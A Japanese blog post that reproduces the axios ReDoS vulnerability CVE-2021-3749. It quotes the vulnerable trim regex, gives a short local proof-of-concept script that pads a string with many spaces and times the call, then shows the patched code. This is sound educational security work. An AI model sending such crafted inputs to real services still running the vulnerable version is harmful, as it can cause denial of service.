ReDosの動きを見る axiosのCVE-2021-3749を参考に

ReDosについて(OWASP)

https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

脆弱性を再現してみる

axiosのCVE-2021-3749は以下の正規表現が原因で発生していた。

入力に多大な空白を含む文字列を渡すと処理が遅くなる。

return str.replace(/^\s*/, '').replace(/\s*$/, '');

https://github.com/axios/axios/blob/5bc9ea24dda14e74def0b8ae9cdb3fa1a0c77773/lib/utils.js#L188

ローカルの検証用として、自分自身に攻撃する検証コードを用意した(huntrにて参考)

function build_blank (n) {
	var ret = "1"
	for (var i = 0; i < n; i++) {
		ret += " "
	}

	return ret + "1";
}

function trim(str) {
  return str.replace(/^\s*/, '').replace(/\s*$/, '');
}

var time = Date.now();
trim(build_blank(process.argv[2]));
var time_cost = Date.now() - time;
console.log("time_cost: " + time_cost)

検証コードに対して、文字列長を徐々に大きくしていった結果。

1万を超えたあたりから遅くなり始めていて、3万を超えると体感でも遅いと感じるくらいになる。

正規表現の書き方によっては処理に負担がかかることが確認できた。

修正後の挙動

修正後のコードは以下のようになっていた。

https://github.com/axios/axios/blob/main/lib/utils.js#L213

return str.trim ? str.trim() : str.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, '');

このコードを修正して検証コードを実行してみた。

すっかり処理に負荷がかからないようになっていた。

感想

正規表現の書き方でここまで処理に差が出るんだなぁ

次やってみたいこと

様々などで使われている正規表現は問題ないのだろうか?の調査

スポンサーリンク
ブログ村
PVアクセスランキング にほんブログ村
SNSでフォローする

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です